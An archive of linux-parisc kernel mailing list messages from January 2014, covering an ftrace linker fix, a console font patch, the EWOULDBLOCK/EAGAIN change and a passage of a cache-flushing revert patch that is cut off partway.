To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 29 21:44:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W8bzR-0007CN-WC
	for glpp-linux-parisc@plane.gmane.org; Wed, 29 Jan 2014 21:44:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751575AbaA2UoF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jan 2014 15:44:05 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:64290 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752067AbaA2UoE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jan 2014 15:44:04 -0500
Original-Received: from [192.168.178.60] ([84.173.37.29]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MMBun-1WBeON11jx-007ynn for
 <linux-parisc@vger.kernel.org>; Wed, 29 Jan 2014 21:44:02 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140129205944.4f71ca1c@dellete>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:/Dbgji2fYtEglGRgxY9Em1IOm0GAessl2ohCUc/XVbl6igwjd8X
 MDEywWv+Gdjk9LFoj2VE7iLdI9UPSUPBq8QKstWSjJ/6//m9YLGv4FtFZu2soKqmV0SWdFA
 gmEofx6ENSPCp7F5QkJnXl5v7iR5u5Kpra+DUyM1Yt8sw9IY6dnBkix3QvpfjEyOe8EGbz3
 puSgU9RGgQrSPvmLabfVA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5668>

Hi Guy,

On 01/29/2014 08:59 PM, Guy Martin wrote:
> It seems that the ftrace subsystem has not been maintained for a few
> years.

Yes.
 
> So far I have the diff at the bottom that attempts to fix it bug there
> is still an issue while linking :

I'm not sure I tested 64bit at that time.

> arch/parisc/kernel/built-in.o: In function `return_to_handler':
> (.text+0xb2a8): undefined reference to `ftrace_return_to_handler'
> hppa64-linux-ld: arch/parisc/kernel/built-in.o(.text+0xllx): cannot
> reach (null)
> arch/parisc/kernel/built-in.o: In function `return_to_handler':
> (.text+0xb2a8): relocation truncated to fit: R_PARISC_PCREL17F against
> undefined symbol `ftrace_return_to_handler'
> make: *** [vmlinux] Error 1
> 
> I'm not sure how this can be fixed, the problems comes from the
> assembly in entry.S, it uses a 'b' to jump to ftrace_return_to_handler.
> I guess 'be' needs to be used but not sure how that'd works with the
> linker.

Can you try
BL ftrace_return_to_handler, %r0
(I'm not good in hppa assembly - as you can see if you take a look at this assembly code section :-)).

> Moreover, there is probably more than this to be fixed.
> 
> For the background story, I'm trying to fix this to audit irq handlers
> for my pata_sil680 issue.
> 
> Adding some printk for irq == 71 in handle_percpu_irq(), I see and odd
> behavior. The printk at the end of the function is displayed a lot more
> than the printk at the begining of the function. I know printk isn't
> the best for irq handlers that's why I was investigating the ftrace way.
> 
> Any tip/help is very much welcome !

Helge


> 
>   Guy
> 
> ---
> diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
> index bc989e5..6d23a1a 100644
> --- a/arch/parisc/Kconfig.debug
> +++ b/arch/parisc/Kconfig.debug
> @@ -1,5 +1,8 @@
>  menu "Kernel hacking"
> 
> +config TRACE_IRQFLAGS_SUPPORT
> +       def_bool y
> +
>  source "lib/Kconfig.debug"
> 
>  config DEBUG_RODATA
> diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
> index 5beb97b..8c9f757 100644
> --- a/arch/parisc/kernel/ftrace.c
> +++ b/arch/parisc/kernel/ftrace.c
> @@ -156,7 +156,7 @@ void ftrace_function_trampoline(unsigned long
>  parent, return;
> 
>         if (ftrace_trace_function != ftrace_stub) {
> -               ftrace_trace_function(parent, self_addr);
> +               ftrace_trace_function(parent, self_addr, NULL, NULL);
>                 return;
>         }
>  #ifdef CONFIG_FUNCTION_GRAPH_TRACER
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Ftrace broken on parisc
Date: Wed, 29 Jan 2014 16:09:24 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5322CCBAB0E88E9E147CB597AC0@phx.gbl>
References: <20140129205944.4f71ca1c@dellete> <52E96811.7000403@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1391029750 26249 80.91.229.3 (29 Jan 2014 21:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jan 2014 21:09:10 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 29 22:09:16 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W8cNo-0003pY-5V
	for glpp-linux-parisc@plane.gmane.org; Wed, 29 Jan 2014 22:09:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751486AbaA2VJP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jan 2014 16:09:15 -0500
Original-Received: from blu0-omc4-s37.blu0.hotmail.com ([65.55.111.176]:36633 "EHLO
	blu0-omc4-s37.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750851AbaA2VJP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jan 2014 16:09:15 -0500
Original-Received: from BLU0-SMTP53 ([65.55.111.137]) by blu0-omc4-s37.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 29 Jan 2014 13:09:14 -0800
X-TMN: [D09QrJqV3Rl++9rrip56TG4supEgwTu7]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([76.66.97.170]) by BLU0-SMTP53.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 29 Jan 2014 13:09:13 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <52E96811.7000403@gmx.de>
X-OriginalArrivalTime: 29 Jan 2014 21:09:13.0673 (UTC) FILETIME=[5CA41390:01CF1D36]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5669
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5669>

On 1/29/2014 3:44 PM, Helge Deller wrote:
> Hi Guy,
>
> On 01/29/2014 08:59 PM, Guy Martin wrote:
>> It seems that the ftrace subsystem has not been maintained for a few
>> years.
> Yes.
>   
>> So far I have the diff at the bottom that attempts to fix it bug there
>> is still an issue while linking :
> I'm not sure I tested 64bit at that time.
>
>> arch/parisc/kernel/built-in.o: In function `return_to_handler':
>> (.text+0xb2a8): undefined reference to `ftrace_return_to_handler'
>> hppa64-linux-ld: arch/parisc/kernel/built-in.o(.text+0xllx): cannot
>> reach (null)
>> arch/parisc/kernel/built-in.o: In function `return_to_handler':
>> (.text+0xb2a8): relocation truncated to fit: R_PARISC_PCREL17F against
>> undefined symbol `ftrace_return_to_handler'
>> make: *** [vmlinux] Error 1
>>
>> I'm not sure how this can be fixed, the problems comes from the
>> assembly in entry.S, it uses a 'b' to jump to ftrace_return_to_handler.
>> I guess 'be' needs to be used but not sure how that'd works with the
>> linker.
> Can you try
> BL ftrace_return_to_handler, %r0
> (I'm not good in hppa assembly - as you can see if you take a look at this assembly code section :-)).
>
BL might not reach on PA 1.1.  The PA 2.0 b,l instruction is only "long" 
when the link
register is %rp and it is used for the return_trampoline.

I would say replace "b" with the following as it will always reach target:
         load32  ftrace_return_to_handler, %r20
         bv      %r0(%r20)

%r1 is another register alternative.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc/sti_console: prefer Linux fonts over built-in ROM
 fonts
Date: Fri, 31 Jan 2014 15:39:40 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20140131143940.GA4857@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391179178 743 80.91.229.3 (31 Jan 2014 14:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 14:39:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 15:39:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9FFw-0006bC-ID
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 15:39:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753314AbaAaOjn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 09:39:43 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:53580 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751858AbaAaOjn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 09:39:43 -0500
Original-Received: from p100.box ([84.173.44.69]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LhB9P-1VVjIo2bbz-00oT3c for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 15:39:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:ol+yBbtOhoBR1bCffxplhgqhBzgNV0lN9//bDaj9aNeuAZAkYZD
 9Ts1N6dJ6LYheQrKFwQRGrbUvA8VpRw7ml1PSaluxkFx+2OfQLvfjm6fofUE4dPJ/f7UrsG
 OsYefaKlHKNq0DY9ICsP8Igo7vDp748srZwJ5iBgIgIZw4wr8hlhidittYk1ZsUME/LtNmC
 YKToUIglYJV1QXjNvDCjQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5670
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5670>

The built-in ROM fonts lack many necessary ASCII characters, which is
why it makes sens to prefer the Linux fonts instead if they are
available.  This makes consoles on STI graphics cards which are not
supported by the stifb driver (e.g. Visualize FXe) looks much nicer.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 4ad24f2..cecd3de 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -488,7 +488,7 @@ static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
 	return 0;
 }
 
-#ifdef CONFIG_FONTS
+#ifdef CONFIG_FONT_SUPPORT
 static struct sti_cooked_font *
 sti_select_fbfont(struct sti_cooked_rom *cooked_rom, const char *fbfont_name)
 {
diff --git a/lib/fonts/Kconfig b/lib/fonts/Kconfig
index 34fd931..4dc1b99 100644
--- a/lib/fonts/Kconfig
+++ b/lib/fonts/Kconfig
@@ -9,7 +9,7 @@ if FONT_SUPPORT
 
 config FONTS
 	bool "Select compiled-in fonts"
-	depends on FRAMEBUFFER_CONSOLE || STI_CONSOLE
+	depends on FRAMEBUFFER_CONSOLE
 	help
 	  Say Y here if you would like to use fonts other than the default
 	  your frame buffer console usually use.
@@ -22,7 +22,7 @@ config FONTS
 
 config FONT_8x8
 	bool "VGA 8x8 font" if FONTS
-	depends on FRAMEBUFFER_CONSOLE || STI_CONSOLE
+	depends on FRAMEBUFFER_CONSOLE
 	default y if !SPARC && !FONTS
 	help
 	  This is the "high resolution" font for the VGA frame buffer (the one
@@ -45,7 +45,7 @@ config FONT_8x16
 
 config FONT_6x11
 	bool "Mac console 6x11 font (not supported by all drivers)" if FONTS
-	depends on FRAMEBUFFER_CONSOLE || STI_CONSOLE
+	depends on FRAMEBUFFER_CONSOLE
 	default y if !SPARC && !FONTS && MAC
 	help
 	  Small console font with Macintosh-style high-half glyphs.  Some Mac
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 31 Jan 2014 17:53:05 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <52EBD4F1.3020704@gmx.de>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1391187192 9750 80.91.229.3 (31 Jan 2014 16:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 16:53:12 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 17:53:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9HL7-000568-QP
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 17:53:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932236AbaAaQxJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 11:53:09 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:60198 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932457AbaAaQxI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 11:53:08 -0500
Original-Received: from [192.168.178.60] ([84.173.44.69]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LvzF3-1VCWTP0BaP-017pUM for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 17:53:06 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:IRpc45FwWIHhj/ozHvg5N8/codzzvQDt/h8S1KmkSv8CiMmSol2
 XQvObs5IMqjXdZp/6lZraI8RcewpDPcW7/UMczDOprSBuUM87KCwNyLeidBXOioiznjtV/m
 XHnUK3foJmGeEfAlZxDjAnC8PLerK25WyjWwfsT4XlqlR7JCppB1ClUM4QbSuGGAfsau1nV
 DxCcVrwKEJa7kWWI+7Vaw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5671
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5671>

On 01/16/2014 05:17 PM, Guy Martin wrote:
> On Linux, only parisc uses a different value for EWOULDBLOCK which
> causes a lot of troubles for applications not checking for both values.
> Since the hpux compat is long dead, make EWOULDBLOCK behave the same as
> all other architectures.
> 
> Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>

What's our final decision regarding this patch now?
Shall we target it for inclusion into 3.14 ?
If yes, I can include it with my next push request...

Please speak up now...!

Helge

> ---
>  arch/parisc/include/uapi/asm/errno.h | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/include/uapi/asm/errno.h b/arch/parisc/include/uapi/asm/errno.h
> index f3a8aa5..c0ae625 100644
> --- a/arch/parisc/include/uapi/asm/errno.h
> +++ b/arch/parisc/include/uapi/asm/errno.h
> @@ -106,7 +106,7 @@
> 
>  #define    EALREADY    244    /* Operation already in progress */
>  #define    EINPROGRESS    245    /* Operation now in progress */
> -#define    EWOULDBLOCK    246    /* Operation would block (Linux returns EAGAIN) */
> +#define    EWOULDBLOCK    EAGAIN    /* Operation would block (Not HPUX compliant) */
>  #define    ENOTEMPTY    247    /* Directory not empty */
>  #define    ENAMETOOLONG    248    /* File name too long */
>  #define    ELOOP        249    /* Too many symbolic links encountered */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 31 Jan 2014 12:24:10 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <CAE2sS1jkGKLYFG_Wv560POhd9nvY4yA0o3M9KRi4HFz5DCd9-A@mail.gmail.com>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
	<52EBD4F1.3020704@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1391189051 2004 80.91.229.3 (31 Jan 2014 17:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 17:24:11 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 18:24:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9Hp7-0000H7-0Y
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 18:24:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932453AbaAaRYM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 12:24:12 -0500
Original-Received: from mail-oa0-f48.google.com ([209.85.219.48]:37969 "EHLO
	mail-oa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932236AbaAaRYL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 12:24:11 -0500
Original-Received: by mail-oa0-f48.google.com with SMTP id l6so5498982oag.35
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 09:24:11 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=6Ehp7oZ/qrQ3ZFlG4kU/V7p/Yl8bIlm0F4o/V9myyDg=;
        b=chVcGf4/CZp/32yysBrt1DV0ZGjL9mBJffhmsS5ozqT/ajK+ZpQrzG7EAuO7WL8NnP
         F9YKQ9hm8XyT56WIEr4/sWU3HhuIUJy6+/0asgeCo8IyKT/LEYwhzik8b0RG9a7nP0n+
         7avsLLwEm1670XjIgQW8SMotm+NuCOfSzxOTnU4yvJIDcWiukyCwB2rYMn1wo7Zth2wi
         ajQu0FrDwm7ULXBR4RDZVuD7CfDoL46GzJojo2YmQOb6hEeDIhd2DdliL6ndhGCh4APV
         zyc2Or6vIm4N4e6Rvx+uQ+7r7qFBfuvoTPZSzEbGFliQhnqaBCpafZYV4oAcgBVDkw7p
         G8Mg==
X-Gm-Message-State: ALoCoQmqgGjLHcx4JsoLOfZrWsvHcDgbZgNvgt5pZrHkxHCkqYdX+udYHjq5IjuwN+leX/2GZc5v
X-Received: by 10.60.132.107 with SMTP id ot11mr17652859oeb.8.1391189051008;
 Fri, 31 Jan 2014 09:24:11 -0800 (PST)
Original-Received: by 10.76.158.138 with HTTP; Fri, 31 Jan 2014 09:24:10 -0800 (PST)
X-Originating-IP: [204.11.82.140]
In-Reply-To: <52EBD4F1.3020704@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5672>

On Fri, Jan 31, 2014 at 11:53 AM, Helge Deller <deller@gmx.de> wrote:
> On 01/16/2014 05:17 PM, Guy Martin wrote:
>> On Linux, only parisc uses a different value for EWOULDBLOCK which
>> causes a lot of troubles for applications not checking for both values.
>> Since the hpux compat is long dead, make EWOULDBLOCK behave the same as
>> all other architectures.
>>
>> Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>
>
> What's our final decision regarding this patch now?
> Shall we target it for inclusion into 3.14 ?
> If yes, I can include it with my next push request...
>
> Please speak up now...!
>
> Helge
>
>> ---
>>  arch/parisc/include/uapi/asm/errno.h | 2 +-
>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/arch/parisc/include/uapi/asm/errno.h b/arch/parisc/include/uapi/asm/errno.h
>> index f3a8aa5..c0ae625 100644
>> --- a/arch/parisc/include/uapi/asm/errno.h
>> +++ b/arch/parisc/include/uapi/asm/errno.h
>> @@ -106,7 +106,7 @@
>>
>>  #define    EALREADY    244    /* Operation already in progress */
>>  #define    EINPROGRESS    245    /* Operation now in progress */
>> -#define    EWOULDBLOCK    246    /* Operation would block (Linux returns EAGAIN) */
>> +#define    EWOULDBLOCK    EAGAIN    /* Operation would block (Not HPUX compliant) */
>>  #define    ENOTEMPTY    247    /* Directory not empty */
>>  #define    ENAMETOOLONG    248    /* File name too long */
>>  #define    ELOOP        249    /* Too many symbolic links encountered */

I think we should do it and fix the userspace fallout by rebuilding.

This is just like non-zero locks were in linuxthreads, a pain and
constant source of bugs.

I'll fixup glibc.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix cache-flushing
Date: Fri, 31 Jan 2014 21:33:17 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <20140131203317.GA1222@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391200362 7551 80.91.229.3 (31 Jan 2014 20:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 20:32:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 21:32:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9Klc-0004UM-3w
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 21:32:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754033AbaAaUcr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 15:32:47 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:55585 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754015AbaAaUcq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 15:32:46 -0500
Original-Received: from p100.box ([84.173.44.69]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M2XkX-1VHvMk29qP-00sJT8 for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 21:32:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:HDe76r3Ke1RDlZq81DxaLQ+n6CfYkLMW7Y0OAKMm4TUL8hA75x5
 oY/CgmnIXHwqY8+Hu7IYBk1nZiQZmBmj35M/H2KOL13VXvc2nsb2GLpiG2m6SSTQioEmv/0
 OpoO/+mSnv618ipji0tjpGHhl3x9InqGtLQmQYG7jkDHZ3NgQEN/eMtWsOw8ZacXCTvM2ey
 nSU5DNmSfjsaOfIf+2Yug==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5673>

This commit:
f8dae00684d678afa13041ef170cecfd1297ed40: parisc: Ensure full cache coherency for kmap/kunmap 
caused negative caching side-effects, e.g. hanging processes with expect and
too many inequivalent alias messages from flush_dcache_page() on Debian 5 systems. 

This patch now partly reverts it and has been in production use on our debian buildd
makeservers since a week without any major problems.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: stable@vger.kernel.org # v3.9+

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 2f9b751..de65f66 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -132,7 +132,6 @@ void mark_rodata_ro(void);
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	flush_dcache_page(page);
 	return page_address(page);
 }
 
@@ -144,7 +143,6 @@ static inline void kunmap(struct page *page)
 static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
-	flush_dcache_page(page);
 	return page_address(page);
 }
 
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index c53fc63..637fe03 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -29,7 +29,8 @@ struct page;
 void clear_page_asm(void *page);
 void copy_page_asm(void *to, void *from);
